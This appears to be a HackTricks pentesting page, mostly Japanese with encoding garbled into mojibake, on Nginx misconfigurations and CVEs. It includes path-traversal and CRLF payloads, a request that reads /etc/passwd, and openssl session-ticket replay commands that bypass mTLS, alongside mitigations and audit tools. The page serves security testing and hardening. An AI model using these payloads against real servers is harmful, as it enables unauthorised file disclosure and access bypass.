Nginx
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
root ãã±ãŒã·ã§ã³ãæ¬ èœããŠãã
Nginx ãµãŒããŒãèšå®ããéãroot directive ã¯ãã¡ã€ã«ãé ä¿¡ãããåºæºãã£ã¬ã¯ããªãå®çŸ©ããããšã§éèŠãªåœ¹å²ãæãããŸãã以äžã®äŸãåç §ããŠãã ãã:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
ãã®èšå®ã§ã¯ã/etc/nginx ã root ãã£ã¬ã¯ããªã«æå®ãããŠããŸãããã®æ§æã«ããã/hello.txt ã®ããã«æå®ããã root ãã£ã¬ã¯ããªå
ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸãããã ããéèŠãªã®ã¯ç¹å®ã® âlocationâïŒ/hello.txtïŒã®ã¿ãå®çŸ©ãããŠããç¹ã§ããroot locationïŒlocation / {...}ïŒã®èšå®ã¯ãããŸããããã®çç¥ã«ãã root ãã£ã¬ã¯ãã£ãã¯ã°ããŒãã«ã«é©çšãããã«ãŒããã¹ / ãžã®ãªã¯ãšã¹ãã /etc/nginx 以äžã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã
ãã®èšå®ã¯é倧ãªã»ãã¥ãªãã£äžã®æžå¿µãçããããŸããGET /nginx.conf ã®ãããªåçŽãª GET ãªã¯ãšã¹ãã«ããã/etc/nginx/nginx.conf ã«ãã Nginx ã®èšå®ãã¡ã€ã«ãè¿ãããæ©å¯æ
å ±ãé²åºããå¯èœæ§ããããŸããroot ã /etc ã®ãããªããæ©å¯æ§ã®äœããã£ã¬ã¯ããªã«èšå®ããããšã§ãã®ãªã¹ã¯ã軜æžã§ããŸãããããã§ãä»ã®èšå®ãã¡ã€ã«ãã¢ã¯ã»ã¹ãã°ãããã㯠HTTP Basic èªèšŒã§äœ¿çšãããæå·åãããè³æ Œæ
å ±ãªã©ãæå³ããªãéèŠãªãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŠããŸãå¯èœæ§ããããŸãã
Alias ãçšãã LFI ã®èª€èšå®
Nginx ã®èšå®ãã¡ã€ã«ã§ã¯ãâlocationâ ãã£ã¬ã¯ãã£ãã®ç¶¿å¯ãªç¢ºèªãå¿ èŠã§ããLocal File Inclusion (LFI) ãšããŠç¥ãããè匱æ§ã¯ã次ã®ãããªèšå®ã«ãã£ãŠèª€ã£ãŠå°å ¥ãããããšããããŸã:
location /imgs {
alias /path/images/;
}
ãã®èšå®ã¯ LFI attacks ã«å¯ŸããŠè匱ã§ãããµãŒããŒã /imgs../flag.txt ã®ãããªãªã¯ãšã¹ãããæå³ãããã£ã¬ã¯ããªã®å€ã«ãããã¡ã€ã«ãžã¢ã¯ã»ã¹ããããšãã詊ã¿ãšããŠè§£éããå®éã«ã¯ /path/images/../flag.txt ã«è§£æ±ºããŠããŸãããã§ãã
ãã®è匱æ§ã«ãããæ»æè ã¯ãŠã§ãçµç±ã§ã¢ã¯ã»ã¹ã§ããã¹ãã§ã¯ãªããµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã äžã®ãã¡ã€ã«ãååŸã§ããŠããŸããŸãã
ãã®è匱æ§ã軜æžãããããèšå®ã¯æ¬¡ã®ããã«èª¿æŽããå¿ èŠããããŸã:
location /imgs/ {
alias /path/images/;
}
詳现æ å ±: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Accunetix ã®ãã¹ã:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
å®å šã§ãªããã¹å¶é
次ã®ããŒãžãåç §ããŠã次ã®ãããªãã£ã¬ã¯ãã£ãã bypass ããæ¹æ³ãåŠãã§ãã ãã:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
å±éºãªå€æ°ã®äœ¿çš / HTTP Request Splitting
Caution
è匱ãªå€æ°
$uriãš$document_uri ããããããã¯$request_uriã«çœ®ãæããããšã§ä¿®æ£ã§ããŸããæ£èŠè¡šçŸïŒregexïŒã次ã®ããã«è匱ã«ãªãããšããããŸãïŒ
location ~ /docs/([^/])? { ⊠$1 ⊠}- è匱
location ~ /docs/([^/\s])? { ⊠$1 ⊠}- è匱ã§ã¯ãªãïŒã¹ããŒã¹ããã§ãã¯ïŒ
location ~ /docs/(.*)? { ⊠$1 ⊠}- è匱ã§ã¯ãªã
Nginx èšå®ã®è匱æ§ã¯ä»¥äžã®äŸã§ç€ºãããŸãïŒ
location / {
return 302 https://example.com$uri;
}
æå \rïŒãã£ãªããžãªã¿ãŒã³ïŒãš \nïŒã©ã€ã³ãã£ãŒãïŒã¯ HTTP ãªã¯ãšã¹ãã«ãããæ¹è¡æåã瀺ãããããã® URL ãšã³ã³ãŒãããã圢㯠%0d%0a ã§ãããããã®æåããªã¯ãšã¹ãã«å«ãããšïŒäŸ: http://localhost/%0d%0aDetectify:%20clrfïŒã誀èšå®ããããµãŒã㯠Detectify ãšããååã®æ°ããããããŒãçºè¡ããŸãããã㯠$uri 倿°ã URL ãšã³ã³ãŒããããæ¹è¡æåããã³ãŒãããŠããŸããã¬ã¹ãã³ã¹ã«äºæããªãããããŒãå«ãŸããããã§ã:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
CRLF injection and response splitting ã®ãªã¹ã¯ã«ã€ããŠè©³ãã㯠https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/ ãåç §ããŠãã ããã
Also this technique is explained in this talk ã§ããã€ãã®è匱ãªäŸãæ€åºã¡ã«ããºã ãšãšãã«èª¬æãããŠããŸããäŸãã°ãblackboxã®èŠç¹ãããã®ãã¹ã³ã³ãã£ã®ã¥ã¬ãŒã·ã§ã³ãæ€åºããã«ã¯ã次ã®ãªã¯ãšã¹ããéãããšãã§ããŸãïŒ
https://example.com/%20X- ä»»æã®HTTPã³ãŒãhttps://example.com/%20H- 400 Bad Request
è匱ã§ããã°ãæåã®ãªã¯ãšã¹ã㯠âXâ ãä»»æã®HTTPã¡ãœãããšããŠæ±ããã2ã€ç®ã¯ H ãæå¹ãªã¡ãœããã§ã¯ãªããããšã©ãŒãè¿ãããŸãããããã£ãŠãµãŒããŒã¯ GET / H HTTP/1.1 ã®ããã«åä¿¡ããããããšã©ãŒãåŒãèµ·ãããŸãã
å¥ã®æ€åºäŸã¯æ¬¡ã®ãšããã§ãïŒ
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- ä»»æã®HTTPã³ãŒãhttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
ãã®è¬æŒã§ç޹ä»ãããè匱ãªèšå®ã®äŸã®ããã€ãã¯æ¬¡ã®ãšããã§ãïŒ
- æçµçãªURLã«ãããŠ**
$uri**ããã®ãŸãŸèšå®ãããŠããç¹ã«æ³šæããŠãã ããã
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- å床
$uriã URL ã«å«ãŸããŠããç¹ã«æ³šæïŒä»åã¯ãã©ã¡ãŒã¿å ïŒ
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- ä»ã¯ AWS S3 ã«ãããŸã
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
ä»»æã®å€æ°
ããç¶æ³äžã§ããŠãŒã¶ãŒæäŸããŒã¿ãNginxã®å€æ°ãšããŠæ±ãããå¯èœæ§ãããããšã倿ããŸããããã®æåã®åå ã¯ããäžæçã§ãããçšãšããã»ã©ã§ããªããæ€èšŒãç°¡åã§ã¯ãããŸããããã®ç°åžžã¯HackerOneã®ã»ãã¥ãªãã£ã¬ããŒãã§ææãããŠãããhereã§ç¢ºèªã§ããŸãããšã©ãŒã¡ãã»ãŒãžã®ãããªã調æ»ã«ããããã®çºçç®æã¯Nginxã®ã³ãŒãããŒã¹å ã®SSI filter moduleã«ããããšãç¹å®ãããServer Side Includes (SSI)ãæ ¹æ¬åå ã§ããããšã瀺ãããŸããã
ãã®èª€èšå®ãæ€åºããã«ã¯ãrefererããããèšå®ããŠå€æ°ãåºåããããã確èªãã以äžã®ã³ãã³ããå®è¡ã§ããŸã:
$ curl -H âReferer: barâ http://localhost/foo$http_referer | grep âfoobarâ
ãã®èª€èšå®ãã·ã¹ãã å šäœã§ã¹ãã£ã³ãããšããããŠãŒã¶ãŒã Nginx ã®å€æ°ãåºåã§ããè€æ°ã®äºäŸãæããã«ãªããŸããããã ããè匱ãªã€ã³ã¹ã¿ã³ã¹ã®æ°ãæžå°ããŠããããšããããã®åé¡ã®ä¿®æ£äœæ¥ã¯ããçšåºŠæåããŠããããšã瀺åãããŸãã
try_files ã $URI$ARGS 倿°ãšäœµçšãã
以äžã® Nginx ã®èª€èšå®ã¯ LFI è匱æ§ã«ã€ãªããå¯èœæ§ããããŸã:
location / {
try_files $uri$args $uri$args/ /index.html;
}
èšå®ã§ã¯ try_files ãã£ã¬ã¯ãã£ãããããæå®ããé åºã§ãã¡ã€ã«ã®ååšã確èªããããã«äœ¿çšãããŸããNginx ã¯èŠã€ãã£ãæåã®ãã¡ã€ã«ãè¿ããŸããtry_files ãã£ã¬ã¯ãã£ãã®åºæ¬æ§æã¯æ¬¡ã®ãšããã§ãïŒ
try_files file1 file2 ... fileN fallback;
Nginxã¯æå®ãããé åºã§åãã¡ã€ã«ã®ååšã確èªããŸãããã¡ã€ã«ãååšããå ŽåããããçŽã¡ã«æäŸãããŸããæå®ããããã¡ã€ã«ã®ããããååšããªãå Žåããªã¯ãšã¹ãã¯å¥ã®URIãç¹å®ã®ãšã©ãŒããŒãžãªã©ã®ãã©ãŒã«ããã¯ãªãã·ã§ã³ã«æž¡ãããŸãã
ãããããã®ãã£ã¬ã¯ãã£ãã§ $uri$args 倿°ã䜿çšãããšãNginxã¯ãªã¯ãšã¹ãURIã«ã¯ãšãªæåååŒæ°ãçµåãããã®ã«ããããããã¡ã€ã«ãæ¢ãããšããŸãããããã£ãŠããã®èšå®ãæªçšã§ããŸãïŒ
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
次ã®ãã€ããŒãã§ïŒ
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
payloadã䜿ã£ãŠroot directory (defined in Nginx configuration) ããè±åºãã/etc/passwdãã¡ã€ã«ãèªã¿èŸŒã¿ãŸããdebug logsã§ã¯ãNginxãã©ã®ããã«ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããšãããã確èªã§ããŸã:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
äžèšã®èšå®ã䜿çšãã Nginx ã«å¯Ÿãã PoC:

ããã¯ãšã³ãã®çã®ã¬ã¹ãã³ã¹ã®èªã¿åã
Nginx 㯠proxy_pass ãä»ããŠãbackend ããçæããããšã©ãŒã HTTP ããããã€ã³ã¿ãŒã»ããããŠå
éšã®ãšã©ãŒã¡ãã»ãŒãžãããããé ãæ©èœãæäŸããŸãããã㯠Nginx ã backend ãšã©ãŒã«å¯ŸããŠã«ã¹ã¿ã ãšã©ãŒããŒãžãè¿ãããšã§å®çŸãããŸããããããNginx ãç¡å¹ãª HTTP ãªã¯ãšã¹ãã«ééããå Žåã«ã¯åé¡ãçããŸãããã®ãããªãªã¯ãšã¹ãã¯åä¿¡ãããŸãŸ backend ã«è»¢éãããbackend ã®çã®ã¬ã¹ãã³ã¹ã Nginx ã®ä»å
¥ãªãã«çŽæ¥ client ã«éä¿¡ãããŸãã
uWSGI ã¢ããªã±ãŒã·ã§ã³ãäŸã«èããŠã¿ãŸã:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
ããã管çããããã«ãNginx ã®èšå®ã«ã¯ç¹å®ã®ãã£ã¬ã¯ãã£ãã䜿çšãããŸã:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: ãã®ãã£ã¬ã¯ãã£ãã¯ãã¹ããŒã¿ã¹ã³ãŒãã300ãã倧ããããã¯ãšã³ãå¿çã«å¯Ÿã㊠Nginx ãã«ã¹ã¿ã ã¬ã¹ãã³ã¹ãè¿ãããšãå¯èœã«ããŸããããšãã°æã
ã® uWSGI ã¢ããªã±ãŒã·ã§ã³ã§ã¯ã
500 Errorã®å¿çã Nginx ã«ãã£ãŠã€ã³ã¿ãŒã»ããããåŠçãããããšãä¿èšŒããŸãã - proxy_hide_header: ååã瀺ãéãããã®ãã£ã¬ã¯ãã£ãã¯æå®ããã HTTP ããããã¯ã©ã€ã¢ã³ãããé ãããã©ã€ãã·ãŒãšã»ãã¥ãªãã£ãé«ããŸãã
æå¹ãª GET ãªã¯ãšã¹ããè¡ãããå ŽåãNginx ã¯éåžžã©ããåŠçããç§å¯ã®ããããé瀺ããªãæšæºçãªãšã©ãŒã¬ã¹ãã³ã¹ãè¿ããŸããããããç¡å¹ãª HTTP ãªã¯ãšã¹ãã¯ãã®ä»çµã¿ãåé¿ããçã®ããã¯ãšã³ãå¿çïŒç§å¯ã®ãããããšã©ãŒã¡ãã»ãŒãžãå«ãïŒãé²åºããŠããŸããŸãã
merge_slashes ã off ã«èšå®
ããã©ã«ãã§ãNginx ã® merge_slashes ãã£ã¬ã¯ãã£ã 㯠on ã«èšå®ãããŠãããURL å
ã®é£ç¶ããã¹ã©ãã·ã¥ãåäžã®ã¹ã©ãã·ã¥ã«å§çž®ããŸãããã®æ©èœã¯ URL åŠçãç°¡çŽ åããŸãããç¹ã« local file inclusion (LFI) ã«è匱ãªã¢ããªã±ãŒã·ã§ã³ã«ãããŠãNginx ã®èåŸã«ããè匱æ§ãæå³ããé ããŠããŸãå¯èœæ§ããããŸããã»ãã¥ãªãã£å°éå®¶ã® Danny Robinson and Rotem Bar ã¯ãç¹ã« Nginx ããªããŒã¹ãããã·ãšããŠåäœããå Žåã«ããããã®ããã©ã«ãåäœã®æœåšçãªã¹ã¯ãææããŠããŸãã
ãã®ãããªãªã¹ã¯ã軜æžããããããããã®è匱æ§ã«æãããããã¢ããªã±ãŒã·ã§ã³ã§ã¯ merge_slashes ãã£ã¬ã¯ãã£ãã off ã«ãã ããšãæšå¥šããŸããããã«ãã Nginx 㯠URL æ§é ã倿Žããã«ã¢ããªã±ãŒã·ã§ã³ãžãªã¯ãšã¹ãã転éããåºç€ãšãªãã»ãã¥ãªãã£åé¡ãé èœããŸããã
For more information check Danny Robinson and Rotem Bar.
Maclicious Response Headers
As shown in this writeup, certain headers in the web server response can change the behaviour of the Nginx proxy. You can check them in the docs:
X-Accel-Redirect: Nginx ã«å éšãªãã€ã¬ã¯ããæç€ºããæå®ããå Žæãžãªã¯ãšã¹ããå éšçã«è»¢éããŸããX-Accel-Buffering: Nginx ãã¬ã¹ãã³ã¹ããããã¡ãããã©ãããå¶åŸ¡ããŸããX-Accel-Charset: X-Accel-Redirect ã䜿çšããéã®ã¬ã¹ãã³ã¹ã®æåã»ãããèšå®ããŸããX-Accel-Expires: X-Accel-Redirect ã䜿çšããéã®ã¬ã¹ãã³ã¹ã®æå¹æéãèšå®ããŸããX-Accel-Limit-Rate: X-Accel-Redirect ã䜿çšããéã®è»¢éé床ãå¶éããŸãã
äŸãã°ãããã X-Accel-Redirect 㯠nginx å
éšã§ã® redirect ãåŒãèµ·ãããŸãããããã£ãŠãnginx èšå®ã« root / ã®ãããªæå®ããããWeb ãµãŒããã X-Accel-Redirect: .env ãè¿ããããšãnginx 㯠/.env ã®å
容ãè¿éããŠããŸããŸãïŒPath TraversalïŒã
Default Value in Map Directive
Nginx ã® configuration ã§ã¯ãmap ãã£ã¬ã¯ãã£ãããã°ãã° èªå¯å¶åŸ¡ ã®åœ¹å²ãæãããŸããäžè¬çãªãã¹ã¯ ããã©ã«ã å€ãæå®ããªãããšã§ããããäžæ£ã¢ã¯ã»ã¹ã«ã€ãªããå¯èœæ§ããããŸããäŸãã°:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Without a default, a æªæã®ãããŠãŒã¶ãŒ can bypass security by accessing an æªå®çŸ©ã®URI within /map-poc. The Nginx manual advises setting a ããã©ã«ãå€ to avoid such issues.
DNS Spoofing è匱æ§
DNS spoofing against Nginx is feasible under certain conditions. If an attacker knows the DNS server used by Nginx and can intercept its DNS queries, they can spoof DNS records. This method, however, is ineffective if Nginx is configured to use localhost (127.0.0.1) for DNS resolution. Nginx allows specifying a DNS server as follows:
resolver 8.8.8.8;
proxy_pass ãš internal ãã£ã¬ã¯ãã£ã
The proxy_pass ãã£ã¬ã¯ãã£ãã¯ããªã¯ãšã¹ããå
éšãŸãã¯å€éšã®å¥ã®ãµãŒããŒãžè»¢éããããã«äœ¿çšãããŸããThe internal ãã£ã¬ã¯ãã£ãã¯ãç¹å®ã® location ã Nginx å
éšããã®ã¿ã¢ã¯ã»ã¹å¯èœã§ããããšãä¿èšŒããŸãããããã®ãã£ã¬ã¯ãã£ãèªäœã¯è匱æ§ã§ã¯ãããŸããããèšå®ãæ
éã«ç¢ºèªããªããšã»ãã¥ãªãã£äžã®åé¡ãçºçããå¯èœæ§ããããŸãã
proxy_set_header Upgrade & Connection
nginx ãµãŒããŒã Upgrade ããã³ Connection ããããŒã転éããããã«èšå®ãããŠããå Žåãh2c Smuggling attack ãå®è¡ããŠä¿è·ããã/å éšã®ãšã³ããã€ã³ãã«ã¢ã¯ã»ã¹ã§ããå¯èœæ§ããããŸãã
Caution
ãã®è匱æ§ã«ããæ»æè ã¯
proxy_passãšã³ããã€ã³ãã«çŽæ¥æ¥ç¶ã確ç«ã§ããïŒãã®å Žåhttp://backend:9999ïŒããã«ãªãããã®å 容㯠nginx ã«ãã£ãŠæ€æ»ãããŸããã
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
proxy_passãhttp://backend:9999/socket.ioã®ãããªç¹å®ã® ãã¹ ãæããŠãããšããŠããæ¥ç¶ã¯http://backend:9999ã§ç¢ºç«ããããããå éšãšã³ããã€ã³ãå ã®ä»ã®ä»»æã®ãã¹ã«ã¢ã¯ã»ã¹ã§ãããã€ãŸã proxy_pass ã® URL ã«ãã¹ãæå®ãããŠããŠãé¢ä¿ãªãã
HTTP/3 QUIC module ã®ãªã¢ãŒã DoS & leak (2024)
2024幎㫠Nginx 㯠CVE-2024-31079ãCVE-2024-32760ãCVE-2024-34161ãCVE-2024-35200 ãå
¬éããå®éšç㪠ngx_http_v3_module ãçµã¿èŸŒãŸããlisten ... quic ãœã±ãããå
¬éãããŠããå Žåã« åäžã®æªæãã QUIC ã»ãã·ã§ã³ ãã¯ãŒã«ãŒããã»ã¹ãã¯ã©ãã·ã¥ããããã¡ã¢ãªã leak ããããããå¯èœæ§ãããããšã瀺ããŸããã圱é¿ãåãããã«ã㯠1.25.0â1.25.5 ãš 1.26.0 ã§ã1.27.0/1.26.1 ã«ä¿®æ£ãå«ãŸããŸããã¡ã¢ãªé瀺ïŒCVE-2024-34161ïŒã¯ãæ©å¯ããŒã¿ã衚é¢åããããã« 4096 ãã€ããã倧ãã MTU ã远å ã§å¿
èŠãšããŸãïŒè©³çްã¯äžèšã® 2024 nginx advisory ãåç
§ïŒã
Recon & exploitation hints
- HTTP/3 ã¯ãªããã€ã³æ¹åŒãªã®ã§ã
Alt-Svc: h3=":443"ã¬ã¹ãã³ã¹ãã¹ãã£ã³ããããUDP/443 ã§ QUIC ãã³ãã·ã§ã€ã¯ããã«ãŒããã©ãŒã¹ããŠãã ããã確èªã§ããããã«ã¹ã¿ã ã®quiche-client/nghttp3ãã€ããŒãã§ãã³ãã·ã§ã€ã¯ã STREAM ãã¬ãŒã ã fuzz ããŠã¯ãŒã«ãŒããã»ã¹ã®ã¯ã©ãã·ã¥ãèªçºãããã°ã匷å¶çã« leak ãããŸãã - ã¿ãŒã²ããã®å¯Ÿå¿ãçŽ æ©ãå€å¥ããã«ã¯:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLSã»ãã·ã§ã³åéã«ããã¯ã©ã€ã¢ã³ãèšŒææžèªèšŒã®åé¿ (CVE-2025-23419)
2025幎2æã®ã¢ããã€ã¶ãªã§ãOpenSSLã§ãã«ãããã nginx 1.11.4â1.27.3 ããååããŒã¹ã®ããŒãã£ã«ãã¹ãéã§ TLS 1.3 ã»ãã·ã§ã³ãåå©çšã§ãã å Žåãããããšãå
¬è¡šãããŸããããã®ãããèšŒææžäžèŠã®ãã¹ãã§ããŽã·ãšãŒãããã¯ã©ã€ã¢ã³ãããã±ãã/PSKããªãã¬ã€ãããšãssl_verify_client on; ã§ä¿è·ããã vhost ã«å
¥ã蟌ã¿ãmTLS ãå®å
šã«åé¿ã§ããŸãããã°ã¯ãè€æ°ã®ããŒãã£ã«ãã¹ããåã TLS 1.3 ã»ãã·ã§ã³ãã£ãã·ã¥ãšãã±ãããå
±æããŠããå Žåã«çºçããŸãïŒäžèšã®2025幎㮠nginx ã¢ããã€ã¶ãªãåç
§ïŒã
æ»æè ãã¬ã€ããã¯
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
If the target is vulnerable, the second handshake completes without presenting a client certificate, revealing protected locations.
è匱ãªå Žåã2åç®ã®ãã³ãã·ã§ã€ã¯ã¯ã¯ã©ã€ã¢ã³ãèšŒææžãæç€ºããã«å®äºããä¿è·ãããå Žæãæããã«ãªããŸãã
What to audit
- Mixed
server_nameblocks that sharessl_session_cache shared:SSLplusssl_session_tickets on;.- å
¬éãšç®¡çãªã©ãæ··åšãã
server_nameãããã¯ã§ãssl_session_cache shared:SSLãšssl_session_tickets on;ãå ±æããŠãããã®ã
- å
¬éãšç®¡çãªã©ãæ··åšãã
- Admin/API blocks that expect mTLS but inherit shared session cache/ticket settings from public hosts.
- mTLS ãæåŸ ãã Admin/API ãããã¯ããå ¬éãã¹ãããå ±æã® session cache/ticket èšå®ãç¶æ¿ããŠãããã®ã
- Automation that enables TLS 1.3 session resumption globally (e.g., Ansible roles) without considering vhost isolation.
- TLS 1.3 ã® session resumption ãã°ããŒãã«ã«æå¹åããèªååïŒäŸ: Ansible rolesïŒã vhost ã®åé¢ãèæ ®ããŠããªããã®ã
HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)
The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits âsubstantially higherâ makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).
HTTP/2 Rapid Reset æ»æïŒCVE-2023-44487ïŒã¯ããªãã¬ãŒã¿ã keepalive_requests ã http2_max_concurrent_streams ãããã©ã«ãããåŒãäžããå Žåã« nginx ã«äŸç¶ãšããŠåœ±é¿ãäžããŸããæ»æè
ã¯1ã€ã® HTTP/2 æ¥ç¶ãéããæ°åã®ã¹ããªãŒã ãæµã蟌ã¿ãçŽã¡ã« RST_STREAM ãã¬ãŒã ãéåºããŠåæå®è¡äžéãå°éãããªãããã«ãã€ã€ãCPU ã teardown ããžãã¯ã§æ¶è²»ããç¶ããŸããnginx ã®ããã©ã«ãïŒ128 concurrent streamsã1000 keepalive requestsïŒã¯åœ±é¿ç¯å²ãå°ããä¿ã¡ãŸããããããã®äžéãã倧å¹
ã«ãåŒãäžãããšãåäžã¯ã©ã€ã¢ã³ãããã§ãã¯ãŒã«ãŒãæ¯æžãããã®ã¯å®¹æã«ãªããŸãïŒäžèšã® F5 ã® write-up ãåç
§ïŒã
Detection tips æ€åºã®ãã³ã
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
ãããã®ãã£ã¬ã¯ãã£ãã§ç°åžžã«é«ãå€ã瀺ããã¹ãã¯æ Œå¥œã®æšçã§ãïŒ1ã€ã® HTTP/2 ã¯ã©ã€ã¢ã³ããã¹ããªãŒã äœæãšå³æã® RST_STREAM ãã¬ãŒã ãã«ãŒããããconcurrency cap ãçºåãããããšãªã CPU 䜿çšçã髿¢ãŸããããããšãã§ããŸãã
Try it yourself
Detectify 㯠GitHub ãªããžããªãäœæããŸãããããã§ã¯ Docker ã䜿çšããŠãæ¬èšäºã§åãäžãã誀èšå®ã®ããã€ããå«ãè匱㪠Nginx ãã¹ããµãŒããç«ãŠãå®éã«èŠã€ããŠã¿ãããšãã§ããŸãïŒ
https://github.com/detectify/vulnerable-nginx
Static Analyzer tools
gixy-ng & Gixy-Next & GIXY
- Gixy-Next (an updated fork of GIXY) 㯠Nginx èšå®ãè§£æããããŒã«ã§ãè匱æ§ãäžå®å šãªãã£ã¬ã¯ãã£ãããªã¹ã¯ã®ãã誀èšå®ãèŠã€ããããšãç®çãšããŠããŸããããã©ãŒãã³ã¹ã«åœ±é¿ãã誀èšå®ããèŠéãããããŒããã³ã°ã®æ©äŒãæ€åºããèªååãããæ¬ 饿€åºãå¯èœã«ããŸãã
- gixy-ng (the actively maintained fork of GIXY) 㯠Nginx èšå®ãè§£æããããŒã«ã§ãè匱æ§ãäžå®å šãªãã£ã¬ã¯ãã£ãããªã¹ã¯ã®ãã誀èšå®ãèŠã€ããããšãç®çãšããŠããŸããããã©ãŒãã³ã¹ã«åœ±é¿ãã誀èšå®ããèŠéãããããŒããã³ã°ã®æ©äŒãæ€åºããèªååãããæ¬ 饿€åºãå¯èœã«ããŸãã
Nginxpwner
Nginxpwner ã¯äžè¬ç㪠Nginx ã®èª€èšå®ãè匱æ§ãæ¢ãããã®ã·ã³ãã«ãªããŒã«ã§ãã
References
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


